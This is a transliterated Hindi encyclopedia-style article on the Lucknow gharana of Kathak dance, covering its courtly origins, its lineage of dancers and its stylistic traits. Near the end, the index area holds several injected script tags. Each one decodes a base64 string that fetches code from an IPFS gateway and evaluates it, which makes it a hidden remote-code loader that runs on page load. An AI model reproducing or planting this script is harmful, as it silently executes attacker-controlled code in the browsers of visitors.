लखनऊ घराना

	lakhanoo gharana
	katthak nrity karate kalakar\|200px\|center
vivaran	'lakhanoo gharana' bharat ke prasiddh shastriy nrity shaili ke nrity katthak tatha gayaki se sambandhit gharanoan mean se ek hai. navab vajid ali shah ke darabar se isaka uday hua tha.
desh	bharat
nrity shaili	katthak
vishesh	lakhanoo gharane ke nrity par mugal v eerani sabhyata ke prabhav ke karan yahaan nrity mean shrangarikata ke sath-sath abhinay paksh par bhi vishesh dhyan diya gaya.
sanbandhit lekh	achchhan maharaj, shanbhoo maharaj, biandadin maharaj, birajoo maharaj, jayakishan maharaj
any janakari	lakhanoo gharana katthak nrity shaili ka pramukh gharana hai. isane prayah chhote-chhote to de tuk de nachane ka chalan hai. tuk doan mean aangoan ki khoobasoorat banavat par vishesh dhyan diya jata hai

lakhanoo gharana (aangrezi: Lucknow gharana) bharatiy shastriy nrity shaili katthak ke kalakaroan se ju da prasiddh gharana hai. avadh ke navab vajid ali shah ke darabar mean isaka janm hua. lakhanoo shaili ke katthak nrity mean suandarata aur prakritik santulan hota hai. kalatmak rachanaean, thumari adi abhinay ke sath-sath horis, shabdik abhinayuddh aur ashu rachanaean jaise bhavapoorn shaili bhi hoti haian. vartaman mean pandit birajoo maharaj, achchhan maharaj ji ke bete, is gharane ke mukhy pratinidhi mane jate haian.^[1]

mugal v eerani sabhyata ka prabhav

lakhanoo gharane ke nrity par mugal v eerani sabhyata ke prabhav ke karan yahaan nrity mean shrangarikata ke sath-sath abhinay paksh par bhi vishesh dhyan diya gaya. shrangarikata aur sabal abhinay ki drishti se lakhanoo gharana any gharanoan se kafi age hai. is gharane ki vastavik pahachan banane ka shrey 'padmavibhooshan' pandit birajoo maharaj ko diya jata hai. unaki shishyaoan madhurita sarang aur shashvati sen v pandit lachchhoo maharaj ki shishya kumakum dhar ne desh ki shirsh nrityaanganaoan mean svayan ko sthapit kiya hua hai. inhoanne anekoan bar aantarrashtriy star par apani pratibha ka pradarshan kar katthak ke paranparik svaroop ko sarthak kiya hai. kumakum dhar ke sath-sath any nrityaanganaean bhi ab katthak ki nee pidhi ko taiyar karane mean juti huee haian.^[2]

pramukh nartak

is gharane ki shuruat ishvari prasad ji se mani jati hai. aisa kaha jata hai ki prasad ji ko sapane mean shrikrishna ne darshan dekar is nrity ki bhagavat banane ki prerana di. unhoanne ye granth rachakar usaki shiksha apane tinoan betoan shri a dagoo ji, kh dagoo ji aur tularam ji ko di. 105 varsh ki ayu mean prasad ji ka nidhan ho gaya aur unaki patni unake hi sath sati ho gee. is ghatana se prabhavit ho kar tularam ji ne sanyas le liya aur kh dagoo ji ne nrity karana chho d diya. a dagoo ji ne ye shiksha apane tinoan betoan shri prakash ji, dayal ji tatha hariyali ji ko pradan ki. prakash ji apane bhaiyoan sahit lakhanoo ge aur navab asafuddaula ke darabari nartak niyukt hue. prakash ji ke tin bete hue- durga prasad ji, thakur prasad ji aur man ji. man ji ko navab dvara 'sianh' ki upadhi di gee, par nartak ke roop mean thakur prasad ji prasiddh hue. inhean vajid ali shah shah ka guru niyukt kiya gaya, jinhoanne katthak nrity ki vartaman svaroop rachana mean mahatvapoorn bhoomika nibhaee. inaki ganesh paran bahut vikhyat thi.^[3]

durga prasad ji ke bhi tin bete hue- shri biandadin maharaj, kalika prasad aur bhairoan prasad. biandadin maharaj atyant pratibhashali kalakar the. unhoanne 1500 thumariyoan ka nirman kiya aur un par abhinay ka prachar kiya. kalaka prasad ji ke bhi tin bete hue- achchhan maharaj, lachchhoo maharaj aur shanbhoo maharaj.

katthak shaili ka pramukh gharana

lakhanoo gharana katthak nrity shaili ka pramukh gharana hai. isane prayah chhote-chhote to de tuk de nachane ka chalan hai. tuk doan mean aangoan ki khoobasoorat banavat par vishesh dhyan diya jata hai, pairoan se boloan ki nikasi par kam. is gharane mean nrity ke boloan ke atirikt pakhavaj ki parane aur parimalu ke bol bhi nache jate haian, kiantu kavit nachane ka prachar kam hai. 'dhatak thooanga' aur 'kitatak thuan thuan natiteta' bol is gharane mean vishesh prachalit hai. tatkar ke tuk doan mean 'ta theee tath theee' ke anek prakar nache jate haian. that banane ka bhi inaka apana vishesh dhang hai. is gharane mean gat nikas ka prastutikaran adhik hota hai aur gat bhav ka kam. inake yahaan gat donoan or se banane ka rivaj hai. thumari gakar bhav batana is gharane ki visheshata hai, jisake prachar ka pramukh shrey maharaj biandadin ko hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ desh ke katthak gharane, duniya mean hai nam (hiandi) patrika.k aaum. abhigaman tithi: 22 aktoobar, 2016.
↑ katthak ke mool svaroop mean parivartan aur gharanoan ki den (hiandi) journalistnishant.blogspot.in. abhigaman tithi: 22 aktoobar, 2016.
↑ katthak nrity ke gharane (hiandi) kathakahekathak.wordpress.com. abhigaman tithi: 22 aktoobar, 2016.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] sh ke katthak gharane, duniya mean hai nam (hiandi) patrika.k aaum. abhigaman tithi: 22 aktoobar, 2016.

[2] tthak ke mool svaroop mean parivartan aur gharanoan ki den (hiandi) journalistnishant.blogspot.in. abhigaman tithi: 22 aktoobar, 2016.

[3] tthak nrity ke gharane (hiandi) kathakahekathak.wordpress.com. abhigaman tithi: 22 aktoobar, 2016.

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